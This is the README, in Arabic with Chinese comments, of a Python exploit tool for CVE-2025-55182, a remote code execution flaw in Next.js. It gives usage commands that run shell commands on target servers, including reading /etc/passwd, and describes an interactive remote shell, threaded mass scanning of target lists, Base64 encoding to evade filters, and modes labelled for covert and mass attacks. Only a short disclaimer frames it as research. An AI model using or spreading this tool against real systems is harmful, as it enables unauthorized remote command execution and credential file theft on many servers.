
استغلال قائم على بايثون لـ CVE-2025-55182 (RCE في Next.js) مع فحص أهداف مفرد/دفعة وتنفيذ الأوامر وصدفة تفاعلية و4 أوضاع هجوم مع دعم ترميز Base64.
هذه الأداة مخصّصة لكشف واستغلال الثغرة CVE-2025-55182 (يُرجَّح أنها ثغرة تنفيذ أكواد في إطار عمل مرتبط بـ Next.js)، وتدعم الفحص على هدف واحد / أهداف متعددة دفعة واحدة، وتنفيذ الأوامر، وواجهة shell تفاعلية، وتوفّر 4 أنماط هجوم تناسب سيناريوهات مختلفة، مع دعم ترميز الأوامر بـ Base64، والوكيل (Proxy)، وتسجيل المخرجات في ملفات، وغيرها من الإعدادات المرنة.
من المحتمل أن توجد الثغرة CVE-2025-55182 في التطبيقات المرتبطة بـ Next.js، وذلك عبر إنشاء طلب خبيث لتعديل منطق التنفيذ في _response وحقن استدعاء لوحدة child_process، بما يحقّق تنفيذ أوامر عن بُعد (RCE). تقوم الأداة بإرسال بيانات نموذج مُعدّة خصيصًا لاستغلال الثغرة وإرجاع نتيجة تنفيذ الأمر.
requestspip install requests
# 执行 whoami 命令(攻击模式1:有响应)
python CVE-2025-55182-exploit.py -u https://target.com -c "whoami"
# 执行系统命令(Base64编码,避免特殊字符拦截)
python CVE-2025-55182-exploit.py -u https://target.com -c "cat /etc/passwd" -b
# 完整回复模式(Base64解码返回结果)
python CVE-2025-55182-exploit.py -u https://target.com -c "ipconfig" -p 4
# 从文件读取目标URL,批量执行 id 命令(20线程)
python CVE-2025-55182-exploit.py -l targets.txt -c "id" -t 20 -o result.log
# 连接目标,进入交互式命令行(支持Base64编码切换)
python CVE-2025-55182-exploit.py -u https://target.com -s
# 通过Burp Suite代理抓包分析
python CVE-2025-55182-exploit.py -u https://target.com -c "whoami" --proxy http://127.0.0.1:8080
| اسم المعامل | الاختصار | إلزامي | الوصف | مثال |
|---|---|---|---|---|
--url | -u | لا | عنوان URL لهدف واحد (يُختار بينه وبين -l، وتكون الأولوية لـ -u) | -u https://target.com |
--url-list | -l | لا | ملف بقائمة عناوين URL للأهداف (كل سطر عنوان URL، ويدعم غياب بادئة البروتوكول ويضيف http/https تلقائيًا) | -l urls.txt |
--payload | -p | لا | نمط الهجوم (الافتراضي: 1) 1=استجابة (execSync) | 2=بدون استجابة (execSync) 3=بدون استجابة (exec) |
--cmd | -c | لا | أمر النظام المراد تنفيذه (إلزامي في وضع الدفعة أو التنفيذ على هدف واحد، ومتضارب مع -s) | -c "whoami" أو -c "dir" |
--threads | -t | لا | عدد خيوط الفحص الجماعي (الافتراضي: 10، يُنصح ألا يتجاوز 50) | -t 20 |
--outlog | -o | لا | ملف سجل الإخراج (الافتراضي: cve-2025-55182.log) | -o exploit.log |
--base64 | -b | لا | ترميز الأمر المحدد عبر -c بـ Base64 (لتجنّب اعتراض الأحرف الخاصة) | -c "cat /etc/passwd" -b |
--cmd-shell | -s | لا | وضع shell التفاعلي (يدعم فقط الهدف المفرد -u، ومتضارب مع -c) | -u https://target.com -s |
--proxy | - | لا | إعداد الوكيل (يدعم وكلاء HTTP/HTTPS، لالتقاط الحزم أو إعادة توجيه الحركة) | --proxy http://127.0.0.1:8080 |
--skip-check | - | لا | تخطّي فحص اتصال الوكيل (يتم افتراضيًا التحقق من توافر الوكيل) | --proxy http://127.0.0.1:8080 --skip-check |
--time-out | - | لا | مهلة الطلب (بالثواني، الافتراضي: 10) | --time-out 15 |
| رقم النمط | وصف النمط | الخصائص | السيناريو المناسب |
|---|---|---|---|
| 1 | استجابة (execSync) | تنفيذ الأمر بشكل متزامن، ويعيد توجيه 303، وتكون النتيجة مضمنة في ترويسة الاستجابة | التحقق السريع من وجود الثغرة |
| 2 | بدون استجابة (execSync) | تنفيذ الأمر بشكل متزامن بدون إرجاع نتيجة (يجب التأكد من التنفيذ بطرق أخرى) | تنفيذ عمليات بشكل خفيّ |
| 3 | بدون استجابة (exec) | تنفيذ الأمر بشكل غير متزامن بدون إرجاع نتيجة (أثر منخفض، مناسب لعمليات لا تحتاج تأكيدًا) | هجمات جماعية خفيّة |
| 4 | استجابة كاملة | تنفيذ الأمر بشكل متزامن، وتُعاد النتيجة مشفرة بـ Base64 في نص الاستجابة (تقوم الأداة بفك الترميز تلقائيًا) | السيناريوهات التي تتطلب رؤية المخرجات الكاملة للأمر |
عند الدخول إلى وضع -s، تتوفر الأوامر المدمجة التالية:
| الأمر | الوصف |
|---|---|
b64 | التبديل إلى وضع أوامر مشفرة بـ Base64 |
nob64 | الخروج من وضع ترميز Base64 |
exit | الخروج من shell التفاعلي |
? | عرض معلومات المساعدة |
--outlog، لتسهيل التحليل لاحقًا؛-u و -l، وعند تحديدهما معًا تكون الأولوية لـ -u؛-c و -s متعارضان، ولا حاجة لتحديد -c في وضع -s؛-l بدون بادئة بروتوكول (مثل target.com)، ستجرب الأداة تلقائيًا http:// و https://؛https://target.com) لتجنّب فشل الاتصال غير الضروري؛-b أو b64، تقوم الأداة تلقائيًا بمعالجة ترميز/فك ترميز Base64 دون الحاجة لأي إجراء يدوي؛--time-out لتجنّب الأحكام الخاطئة.--skip-check لتخطّي الفحص؛-p 4 وضع الاستجابة الكاملة)؛-b) لتجنّب حجب الأمر من قبل النظام المستهدف؛--time-out؛http://target.com).هذه الأداة مخصّصة فقط لأبحاث أمن الشبكات والتحقق من الثغرات. يتحمّل المستخدم وحده جميع العواقب الناتجة عن مخالفة «قانون الأمن السيبراني» واللوائح ذات الصلة، ولا يتحمل مطوّر الأداة أي مسؤولية عنها.